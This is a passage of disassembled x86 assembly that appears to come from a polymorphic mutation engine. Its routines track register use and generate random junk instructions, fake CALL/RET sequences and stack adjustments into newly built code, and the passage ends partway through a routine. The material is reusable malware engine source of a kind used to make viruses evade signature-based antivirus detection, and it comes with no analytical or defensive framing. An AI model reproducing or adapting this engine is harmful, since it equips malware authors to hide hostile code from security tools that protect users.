ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Touch_ESI proc near xchg edi, esi call Touch_EDI xchg edi, esi retn Touch_ESI endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ IsRegUsed proc near push bx call _getRegIndex mov al, byte ptr Used_AX[bx] cmp cl, 1 jz loc_0_127C or al, byte ptr (Used_AX+1)[bx] loc_0_127C: pop bx retn IsRegUsed endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ IsRegFree proc near push bx call _getRegIndex mov al, byte ptr Free_AX[bx] cmp cl, 1 jz loc_0_1290 or al, byte ptr (Free_AX+1)[bx] loc_0_1290: pop bx retn IsRegFree endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ get_Register_Size proc near push bx call _getRegIndex mov al, byte ptr Size_AX[bx] cmp cl, 1 jz loc_0_12A4 or al, byte ptr (Size_AX+1)[bx] loc_0_12A4: ; AL=1,2,3 pop bx retn get_Register_Size endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ setRegUsed proc near push bx push dx call _getRegIndex mov dl, cl cmp al, 0 jnz loc_0_12B4 mov dl, 0 loc_0_12B4: mov byte ptr Used_AX[bx], al mov byte ptr Free_AX[bx], 1 mov byte ptr Size_AX[bx], dl ; size? cmp cl, 1 jz loc_0_12D3 mov byte ptr (Used_AX+1)[bx], al mov byte ptr (Free_AX+1)[bx], 1 mov byte ptr (Size_AX+1)[bx], dl loc_0_12D3: pop dx pop bx retn setRegUsed endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ setRegFree proc near push bx call _getRegIndex mov byte ptr Free_AX[bx], 1 cmp cl, 1 jz loc_0_12EA mov byte ptr (Free_AX+1)[bx], 1 loc_0_12EA: pop bx retn setRegFree endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_0_12EC proc near push bx xor bx, bx loc_0_12EF: cmp byte ptr Used_AX[bx], 0 jz loc_0_12FB or byte ptr Used_AX[bx], 1 loc_0_12FB: inc bx cmp bx, 10h jnz loc_0_12EF pop bx retn sub_0_12EC endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Reset_Used_Regs proc near push bx xor bx, bx loc_0_1306: and byte ptr Used_AX[bx], 2 cmp byte ptr Used_AX[bx], 0 jnz loc_0_1317 mov byte ptr Size_AX[bx], 0 loc_0_1317: inc bx cmp bx, 10h jnz loc_0_1306 pop bx retn Reset_Used_Regs endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Add_Stack proc near pushad call _Generate_4times_Garbage call _getRND_in_DX cmp dl, 20h jnb loc_0_133F cmp cl, 4 jnz loc_0_133F mov cl, 2 call Add_Stack call Add_Stack loc_0_133B: popad nop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_133F: cmp dh, 40h jb loc_0_1356 call _Choose_Register cmp ch, 8 jnb loc_0_1356 movzx edi, ch call Do_POP ; POP reg jmp short loc_0_133B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1356: cmp dh, 20h jb loc_0_139F loc_0_135B: mov ch, 0 mov al, 2 ; choose SP test dl, 7 jnz loc_0_1366 mov al, 4 ; choose ESP loc_0_1366: test dh, 1 jz loc_0_1382 loc_0_136B: xchg ax, cx call _Add_Needed_Prefix_66 xchg ax, cx call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 44h ; INC SP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Copy_Instruction call _Generate_4times_Garbage loop loc_0_136B loc_0_1380: jmp short loc_0_133B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1382: xchg ax, cx call _Add_Needed_Prefix_66 call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 83h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0C4h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Store_Instruction_Byte ; ADD SP,xx call _Copy_Instruction call _Generate_4times_Garbage jmp short loc_0_1380 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_139F: cmp Return_Offset, 0FFFFh jnz loc_0_135B call Do_CALL2 ; CALL call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0C2h ; RET 00xx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ xchg ax, cx call _Store_Instruction_Byte call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Copy_Instruction call Restore_Return_Offset jmp short loc_0_1380 Add_Stack endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_CALL3 proc near push dx push ax call _getRND_in_DX mov ax, D_CS_I shr ax, 4 cmp dx, ax pop ax pop dx jnb locret_0_140F Do_CALL3 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_CALL2 proc near push ax push cx push dx mov cx, 4 call _Allocate_Code_Space ; select destination of CALL push dx ; DX = new offset of code to be generated (inside CALL) add dx, D_CODEBASE call Do_CALL mov ax, Instruction_Offset mov Return_Offset, ax ; save offset where CALL is supposed to return pop ax mov Instruction_Offset, ax ; stablish new offset for generating code pop dx pop cx pop ax call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage locret_0_140F: retn Do_CALL2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Check_CALL proc near cmp Return_Offset, 0FFFFh jz locret_0_140F call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage cmp SaveFlags, 0 jnz loc_0_1436 push dx call _getRND_in_DX cmp dh, 80h pop dx jb sub_0_1446 ; do not return, and continue inside CALL loc_0_1436: ; do a RET call Do_Procedure_Return Check_CALL endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Restore_Return_Offset proc near push ax mov ax, 0FFFFh xchg ax, Return_Offset mov Instruction_Offset, ax ; continue generating code after CALL pop ax retn Restore_Return_Offset endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_0_1446 proc near mov Return_Offset, 0FFFFh push cx mov cl, 2 call Add_Stack ; clean stack (because we dont return from CALL) pop cx retn sub_0_1446 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; OUTPUT: ; CL = OperandSize getRND_OperandSize proc near push dx call _getRND_in_DX mov cl, 1 ; OperandSize=1 cmp dl, 68h jb loc_0_1469 mov cl, 2 ; OperandSize=2 cmp dl, 0D0h jb loc_0_1469 mov cl, 4 ; OperandSize=4 loc_0_1469: pop dx retn getRND_OperandSize endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; CL = 1 --> use displacement with index ; ; OUTPUT: ; EDI = Target getRND_Target proc near push edx xor edx, edx call _getRND_in_DX and dx, 0Fh ; EDX = 00..0F cmp dx, 8 jb loc_0_14C8 ; use a register as target cmp cl, 1 jz loc_0_1498 mov edi, 1060000h ; displacement without index call _getRND_in_DX cmp dx, 0FFFDh jb loc_0_1494 ; make sure offset = 0..FFFC sub dl, 3 loc_0_1494: ; EDI = Target mov di, dx jmp short loc_0_14CB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1498: call _getRND_in_DX and dx, 7 or dh, 1 shl edx, 10h cmp edx, 1060000h jz loc_0_14C4 ; use 16-bit displacement (without index) call _getRND_in_DX cmp dh, 0A0h ja loc_0_14C4 cmp dh, 50h movsx dx, dl ; 8-bit signed displacement ja loc_0_14C8 xor dx, dx ; null displacement jmp short loc_0_14C8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_14C4: ; 16-bit displacement call _getRND_in_DX loc_0_14C8: ; EDI = target mov edi, edx loc_0_14CB: pop edx retn getRND_Target endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_4times_Garbage proc near call $+3 call $+3 Generate_4times_Garbage endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_Garbage proc near inc Garbage_Level cmp Garbage_Level, 4 jnb Garbage_Exit push CSPREF mov byte ptr CSPREF, 2 ; any prefix segment can be used for garbage instructions pushad xor bp, bp ; used to avoid endless loops call _getRND_in_DX cmp dx, D_CS_V jnb Garbage_Exit2 ; do not generate garbage cmp SaveFlags, 0FFh jz Garbage_Exit2 ; jump if segment prefix has already been stored mov bh, 0FFh ; MOV cmp SaveFlags, 0 jnz @@1 call _getRND_in_DX cmp dx, RandomWORD1 jb loc_0_163E call _getRND_in_DX cmp dh, 60h jb @@1 mov bh, dl and bh, 7 ; select random operation @@1: call _getRND_OperandSize mov ch, dh and ch, 7 ; select random register cmp dl, 4 jb @@7 ; use memory as target cmp bh, 7 jz @@2 ; jump if CMP call _Choose_Register ; select an unused register cmp ch, 8 jnb Garbage_Exit2 @@2: movzx edi, ch call _getRND_in_DX cmp dh, 0A0h jb @@4 cmp bh, 0FFh jz @@3 cmp dl, 20h jb @@3 mov ch, 0 call _IsRegUsed cmp al, 0 jnz @@3 call setRegFree mov di, 0 ; use AL/AX/EAX as target @@3: mov bl, 4 call _getRND_in_EDX mov esi, edx ; ESI=source=immediate jmp short @@6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@4: mov esi, edi mov bl, 2 ; direction of operation (ESI as target) cmp bh, 7 jnz @@5 ; skip if not CMP call _getRND_in_DX and dx, 2 xor bx, dx ; choose direction of operation @@5: call _getRND_Target @@6: call Do_Instruction Garbage_Exit2: popad nop pop CSPREF Garbage_Exit: dec Garbage_Level retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@7: mov al, CSPREF_2 mov byte ptr CSPREF, al ; use needed prefix segment (because instruction will write to code space) push cx mov ch, 0 call _Allocate_Code_Space pop cx add dx, D_CODEBASE mov edi, 1060000h mov di, dx movzx si, ch mov bl, 0 ; BL = 0 --> from operand ESI to operand EDI jmp short @@6 Do_Garbage endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; CL = OperandSize ; ; OUTPUT: ; CH = register Garbage_Choose_Register proc near call _Choose_Register cmp ch, 8 jnb Garbage_Next1 retn Garbage_Choose_Register endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; CL = OperandSize ; CH = register ; ; OUTPUT: ; AL = 0 Garbage_Check_Register proc near push ax call _IsRegUsed call setRegFree cmp al, 0 pop ax jnz Garbage_Next1 retn Garbage_Check_Register endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TableX dw offset Generate_Garbage_LAHF dw 300h dw offset Generate_Garbage_XLAT dw 300h dw offset Generate_Garbage_CMPSB_SCASB_LODSB dw 900h dw offset Generate_Garbage_2byte dw 3000h dw offset Generate_Garbage_CWD_CDQ dw 300h dw offset Generate_Garbage_DEC_INC_NEG_NOT dw 3000h dw offset Generate_Garbage_BSF_BSR dw 6 dw offset Generate_Garbage_SETcc dw 30h dw offset Generate_Garbage_LEA dw 300h dw offset Generate_Garbage_MOVZX_MOVSX dw 0Ch dw offset Generate_Garbage_TEST dw 1200h dw offset Generate_Garbage_1byte dw 1800h dw offset Generate_Garbage_Jcc dw 300h dw offset Generate_Garbage_Shift dw 1200h dw offset Generate_Garbage_CALL dw 300h dw offset Generate_Garbage_MOVSEG dw 300h dw offset Generate_Garbage_JMP_32bit dw 0Ch dw offset Generate_Garbage_CALL_32bit dw 0Ch dw offset Generate_Garbage_PUSHF_PUSH dw 0C00h dw offset Generate_Garbage_MUL_IMUL dw 600h dw offset Generate_Garbage_SETALC dw 30h dw offset Generate_Garbage_XCHG dw 1800h dw offset Generate_Garbage_INT3 dw 0 dw offset Generate_Garbage_INT1 dw 0 dw offset Generate_Garbage_IN dw 3 dw offset Generate_Garbage_MoreGarbage dw 0C0h dw 0FFFFh ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Garbage_Next1 proc near pop dx loc_0_163E: call _getRND_in_DX movzx edx, dx inc bp cmp bp, 8 jb loc_0_1656 cmp dh, 20h jb Generate_Garbage_1byte jmp Garbage_Exit2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1656: mov bx, offset TableX-4 mov eax, dword_0_26F rol eax, 1 loc_0_1660: ror eax, 1 add bx, 4 cmp word ptr [bx], 0FFFFh jz loc_0_163E sub dx, [bx+2] jnb loc_0_1660 call _getRND_in_DX or dh, dh jz loc_0_167D ; generate it one out of 256 times test al, 1 jz loc_0_163E ; bit cleared loc_0_167D: call _getRND_in_DX movzx edx, dx ; EDX = 0000..FFFF jmp word ptr [bx] Garbage_Next1 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_LAHF proc near mov cx, 401h ; register AH mov al, 9Fh ; LAHF loc_0_168C: call _Garbage_Check_Register loc_0_1690: call _Store_Instruction_Byte loc_0_1694: call _Copy_Instruction loc_0_1698: jmp Garbage_Exit2 Generate_Garbage_LAHF endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_XLAT proc near mov cx, 1 ; register AL mov al, 0D7h ; XLAT jmp short loc_0_168C Generate_Garbage_XLAT endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_CMPSB_SCASB_LODSB proc near mov cx, 602h ; register SI call _Garbage_Check_Register mov cx, 702h ; register DI call _Garbage_Check_Register mov al, 0A6h ; CMPSB cmp dl, 55h jb loc_0_1690 mov al, 0AEh ; SCASB cmp dl, 0AAh jb loc_0_1690 mov al, 0ACh ; LODSB mov cx, 1 ; register AL jmp short loc_0_168C Generate_Garbage_CMPSB_SCASB_LODSB endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Garbage_2byte dw 37h ; AAA dw 0AD4h ; AAM dw 0AD5h ; AAD dw 3Fh ; AAS dw 27h ; DAA dw 2Fh ; DAS dw 98h ; CBW dw 9866h ; CWDE dw 0AA8h ; TEST AL,0A dw 40h ; INC AX dw 48h ; DEC AX dw 0AB0h ; MOV AL,0A dw 0AB4h ; MOV AH,0A ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_2byte proc near mov cx, 4 ; register EAX call _Garbage_Check_Register imul edx, 1Ah shr edx, 10h mov di, dx and di, 1Eh mov ax, Table_Garbage_2byte[di] call _Store_Instruction_Byte xchg al, ah cmp al, 0 jz loc_0_1694 ; jump if just one byte cmp al, 0Ah jnz loc_0_1690 ; doesnt need immediate call _getRND_in_DX mov al, dl cmp ah, 0D4h ; AAM jnz loc_0_1690 cmp al, 1 ; avoid zero divide adc al, 0 loc_0_1714: jmp loc_0_1690 Generate_Garbage_2byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_CWD_CDQ proc near mov cx, 204h ; register EDX call _Garbage_Check_Register mov al, 99h ; CWD cmp dl, 0C0h jb loc_0_1714 call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 66h ; CDQ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_0_1714 Generate_Garbage_CWD_CDQ endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_DEC_INC_NEG_NOT proc near call _getRND_OperandSize cmp dh, 80h jb loc_0_1737 mov cl, 2 ; use word instead loc_0_1737: call _Garbage_Choose_Register movzx edi, ch ; EDI = target cmp dl, 60h jnb loc_0_174A call Do_DEC jmp loc_0_1698 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_174A: cmp dl, 0C0h jnb loc_0_1755 call Do_INC jmp loc_0_1698 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1755: cmp dl, 0E0h jnb loc_0_1760 call Do_NEG jmp loc_0_1698 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1760: call Do_NOT loc_0_1763: jmp Garbage_Exit2 Generate_Garbage_DEC_INC_NEG_NOT endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_BSF_BSR proc near mov cl, 4 call _Garbage_Choose_Register ; choose DWORD register movzx esi, ch ; ESI = source call _getRND_Target ; EDI = target cmp dl, 80h jnb loc_0_177E call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 66h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_177E: call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov al, 0BCh and dl, 1 add al, dl ; BSF/BSR loc_0_178A: call _Store_Instruction_Byte call _Generate_ModRM jmp loc_0_1694 Generate_Garbage_BSF_BSR endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_SETcc proc near mov cl, 1 call _Garbage_Choose_Register call _Store_Instruction_Byte2 ; 